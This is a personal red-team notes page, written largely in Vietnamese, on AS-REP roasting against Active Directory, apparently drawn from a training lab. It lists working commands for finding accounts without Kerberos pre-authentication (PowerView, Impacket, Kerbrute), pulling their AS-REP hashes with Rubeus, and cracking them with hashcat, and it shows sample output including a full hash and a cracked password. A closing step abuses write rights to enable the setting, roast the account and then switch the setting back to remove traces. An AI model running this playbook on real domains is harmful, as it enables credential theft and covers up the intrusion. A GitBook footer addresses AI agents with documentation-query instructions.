> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/active-directory/asreproasting.md).
# ASREPRoasting
## Khái niệm
Trong AD thì **ASREPRoasting** là một kiểu tấn công do misconfig. Ta có thể request TGT của bất kỳ user nào mà có bật `Do not require Kerberos pre-authentication` setting.
Bình thường khi ta authen thì ta phải gửi user và password để encrypt với timestamp, sau đó DC sẽ decrypt để xác thực, nếu đúng sẽ trả về cho ta TGT, còn đối với khi `pre-authentication` không require ta có thể request TGT với bất kỳ user nào, khi này ta có thể offline crack để lấy password
Viewing an Account with the `Do not Require Kerberos Preauthentication` Option
## Exploit:
### 1. Enum :
#### Enumerate — Windows (PowerView)
```bash
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
# Output:
# samaccountname : mmorgan
# useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH
```
#### Enumerate — Linux (Impacket)
```bash
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
```
### 2. Get Hash
#### Lấy AS-REP hash — Windows (Rubeus)
```bash
# /nowrap để không bị line wrap
# /format:hashcat để dùng thẳng với hashcat
.\\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
```
#### Lấy AS-REP hash — Linux (Kerbrute)
```bash
# Tự động lấy AS-REP trong quá trình enumerate user
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
```
#### Lấy AS-REP hash — Linux (**GetNPUsers)**
```bash
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[-] User sbrown@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jjones@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tjohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwilson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bdavis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User njohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User asanchez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dlewis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ccruz@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$mmorgan@inlanefreight.local@INLANEFREIGHT.LOCAL:47e0d517f2a5815da8345dd9247a0e3d$b62d45bc3c0f4c306402a205ebdbbc623d77ad016e657337630c70f651451400329545fb634c9d329ed024ef145bdc2afd4af498b2f0092766effe6ae12b3c3beac28e6ded0b542e85d3fe52467945d98a722cb52e2b37325a53829ecf127d10ee98f8a583d7912e6ae3c702b946b65153bac16c97b7f8f2d4c2811b7feba92d8bd99cdeacc8114289573ef225f7c2913647db68aafc43a1c98aa032c123b2c9db06d49229c9de94b4b476733a5f3dc5cc1bd7a9a34c18948edf8c9c124c52a36b71d2b1ed40e081abbfee564da3a0ebc734781fdae75d3882f3d1d68afdb2ccb135028d70d1aa3c0883165b3321e7a1c5c8d7c215f12da8bba9
[-] User rramirez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwallace@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsantiago@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
```
#### Crack hash offline
```bash
# mode 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# Kết quả:
# $krb5asrep$23$mmorgan@INLANEFREIGHT.LOCAL:...:Welcome!00
# Status: Cracked
```
***
#### Nếu có GenericWrite/GenericAll trên account
Có thể **tự tạo điều kiện** để ASREPRoast bất kỳ account nào:
```bash
1. Bật DONT_REQ_PREAUTH trên account target
↓
2. Thực hiện ASREPRoast → lấy hash
↓
3. Tắt lại DONT_REQ_PREAUTH (xóa dấu vết)
↓
4. Crack hash offline
```
> **GenericWrite/GenericAll** cũng có thể được dùng để add SPN vào account, sau đó Kerberoasting
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://duc193.gitbook.io/notes/redteam/active-directory/asreproasting.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
